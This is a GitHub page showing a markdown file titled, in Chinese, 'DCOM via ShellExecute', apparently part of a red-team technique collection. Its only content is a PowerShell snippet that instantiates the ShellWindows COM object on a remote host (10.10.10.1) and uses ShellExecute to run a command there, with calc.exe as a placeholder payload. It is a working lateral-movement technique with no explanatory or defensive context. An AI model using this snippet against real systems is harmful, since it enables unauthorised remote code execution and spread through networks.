Skip to content

Latest commit

 

History

History
4 lines (4 loc) · 251 Bytes

通过ShellExecute进行DCOM.md

File metadata and controls

4 lines (4 loc) · 251 Bytes
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)